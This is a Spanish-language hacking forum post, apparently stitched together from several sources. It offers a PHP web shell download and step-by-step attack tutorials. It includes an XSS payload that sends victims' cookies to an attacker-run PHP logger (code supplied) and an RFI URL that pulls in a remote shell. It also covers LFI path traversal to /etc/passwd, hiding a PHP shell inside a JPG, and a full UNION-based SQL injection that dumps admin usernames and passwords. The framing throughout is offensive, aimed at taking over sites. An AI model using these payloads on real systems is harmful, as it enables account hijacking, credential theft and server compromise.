Shell php de 99Kb

Link de descarga aqui.

XSS:

Muchos creen que xss no sirve para nada, pero el xss es una vulnerabilidad de rango muy alto osea , es muy peligrosa y yo creo que mas de un 70% de las webs tienen xss

Este ataque consiste en la ejecucion de codigo en el lado del cliente.

Voy a explicarlo de la manera mas entendible posible.

Explotanto bien una xss uno pordría hacerce son las cookies de algún usuario, (normalmente el admin) y ownear el sitio

Digamos que tenemos nuestra web: (ejemplo nada mas)

http://www.ejemplo.com/

Y en index.php la variable porno esta mal sanada y no se checkea...
Suponiendo esto nosotros seriamos capazes de poder ejecutar codigo del lado del cliente...


http://www.ejemplo.com/index.php?porno=<script>alert(/XSS/)</script>


Y aca es donde dice alert, bueno eso es solo para testiar si es vulnerable

Ahora seguimos a lo interesante.

Como podriamos robarles las cookies

Sencillo, solo necesitamos redirigir a nuestra victima a un php code que guarde las cookies

Para eso necesitamos un hacked host o un servidor free que tenga php

Ahora montamos nuestro codigo de salvado de cookies...
Aca les Facilito uno:

= fopen('log2.htm','a');

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '
Cookie: '.htmlentities($cookie).'
Pagina: '.htmlentities($re));
fwrite($archivo, '
IP: ' .$ip. '
Fecha y Hora: ' .$fecha. '');

fclose($archivo);

?>

Bueno ahora , que ya tenemos nuestro code online en un sitio que nos permita subir un php y no nos comprometa mucho, digamos:

http://www.elpunto.com/cookies.php (ejemplo nada mas)

Y creado nuestro log2.htm donde se logearan las cookies robadas
En el code php requiere de este archivo.

Compondremos la url para robar las cookies

http://wwww.ejemplo.com/index.php?porno=<script>windowd.location='http://www.ejemplo2.com/cookie.php?c='+document.cookie;</script>

Bueno, explicando un poco que es lo que se hizo ahí:

: Cerramos el tag script

Bueno hasta ahí ya tenemos una pequeña introduccion a el xss.

Pasemos a RFI y LFI:

Estos errores ya no son tan comunes.

Se llaman:

RFI : Remote File Inclusion
LFI : Local File Inclusion

Los dos iguales de peligrosos a la hora de medirlos, solo que uno es mas facil que el otro a la hora de explotar.

Veamos primero RFI

Supongamos que tenemos un php code parecido a este :

=$_GET['reberto'];

include($reberto);

?>

En eso consiste el RFI , la variable no esta filtrada y se incluye entonces si nosotros tenemos ese code en nuestra web:

www.ejemplo.com/index.php

y nuestra variable reberto como ahi se ve esta mal sanada...

Fácilmente podriamos hacer un:

http://www.ejemplo.com/index.php?reberto=http://www.ejemplo2.com/shell.txt?

Donde en www.ejemplo2.com/shell.txt tengamos nuestra shell y asi sera incluida facilmente en la web y ya tenemos ahi una shell php.

Bastante sencillo.

Ahora pasemos al LFI , como explique anteriormente este ataque es un ataque un poquito mas complicado , pero sigue siendo facil con un poco de practica

Consiste en llamar archivos del mismo servidor.

Supongamos que tenemos un archivo vulnerable a LFI con este code:

Que pasaria , bueno si yo intentara incluir un archivo remotoo del servidor no lo incluiria, pero si yo intentara incluir un archivo que este dentro el servidor si podria.

Ya todos conocemos el ejemplo.

http://www.ejemplo.com/index.php?reberto=../../../etc/passwd

Donde lo que se ahce es ir llendo por los directorios hasta encontrar el archivo passwd dentro de la carpeta /etc/

Como hago para conseguir shell ahora???

Lo que vamos a necesitar es :

- Una imagen JPG
- El programa EDJPGCOM
- Y un code de una shell

Ahora lo que hacemos con esos tres objetos es :
Arrastramos la imagen hasta el ejecutable EDJPGCOM.exe y ahi nos dara una ventanita ahi pondremos el code de la shell php
y guardamos , bueno de esa manera ya tenemos nuestra shell php en una imagen...

Ahora que hacemos mmmm que les parece hacer un reverse DNS a la web vulnerable a LFI.

Bueno ahora necesitamos un sitio que nos permita subir imagenes, y en www.norberto.com (ejemplo) se puedes subir imagenes

Entonces nosotros vamos y subimos una imagen ahi y la guarda en:

www.norberto.com/imagenes/shell.jpg

Ahora vamos y hacemos:

www.ejemplo.com/index.php?reberto=../etc/passwd
NADA
www.ejemplo.com/index.php?reberto=../../etc/passwd
NADA
www.ejemplo.com/index.php?reberto=../../../etc/passwd

Al fin: nos tira la lista de users :

root:0:0:root:/root:/bin/bash
reberto:33541:33541:xtremo:/home/xtremo:/bin/bash
xtremo:33542:33542:xtremo:/home/xtremo:/bin/bash
murder:33543:33543:murder:/home/murder:/bin/bash
ddlr:33544:33544:ddlr:/home/ddlr:/bin/bash
re:33545:33545:re:/home/re:/bin/bash
norberto:33546:33546:norberto:/home/norberto:/bin/bash

Ahora debemos adivinar el path de norberto que casi siempre es public_html/ ... suponiendo que sea ese nosotros ahora para incluir nuestra shell a ejemplo.com

tendriamos que hacer http://www.ejemplo.com/index.php?reberto=../../../home/norberto/public_html/imagenes/shell.jpg

Y ahora si , tendriamos un shell php montada , es muy util y funcion.

Editado: ohk
Fuente: el sobrino

Empezamos

¿Que es una inyección SQL?

Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.

Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.

Un poco de teoría

Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas donde podremos practicar a nuestras anchas:

1- Averiguando si es vulnerable

Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:

$user = $_GET['id'];
(...)
$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) OR die (mysql_error());

¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:

http://www.phpbuddy.com/article.php?id=1+and+1=1

La consulta se realizara como:

SELECT * FROM `users` WHERE id=1 AND 1=1

Y si ejecutamos:

http://www.phpbuddy.com/article.php?id=1+and+1=0

La consulta será:

SELECT * FROM `users` WHERE id=1 AND 1=0

Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?

Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.

2- Averiguar el número de Columnas

Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:

http://www.phpbuddy.com/article.php?id=1+order+by+1

Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:

http://www.phpbuddy.com/article.php?id=1+order+by+2

Y así hasta llegar a 7, que se producirá un error:

http://www.phpbuddy.com/article.php?id=1+order+by+7

Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.


3- Haciendo nuestra consulta

Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:

http://www.phpbuddy.com/article.php?id=-1+union+select+1,2,3,4,5,6

Union: Se usa para combinar los resultados de varias sentencias SELECT.

Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.

Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:

http://www.phpbuddy.com/article.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()

version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.

El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.


4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:
Taller Inyecciones SQL
http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).


5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:


http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)
En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:

http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)

Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:

http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa... 69 lo tenemos!

6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.phpbuddy.com/article.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.phpbuddy.com/article.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento, aunque pronto actualizaré el post para poner más información de algunos comandos que hoy pasé así muy rápido.

Y aprovechad
http://www.phpbuddy.com/ para hacer pruebas, intentad sacar los users y pass vosotros solos, o provado cosas para ir cogiendo soltura.

Espero les haya servido de algo mi humilde aporte, si alguien con más experiencia quiere contribuír en éste taller ya sea poniendo más técnicas de inyección o programando nuevos niveles para practicar será bienvenido.

Editado por: ohk

Powered by:
Hacker_Zero
Fuente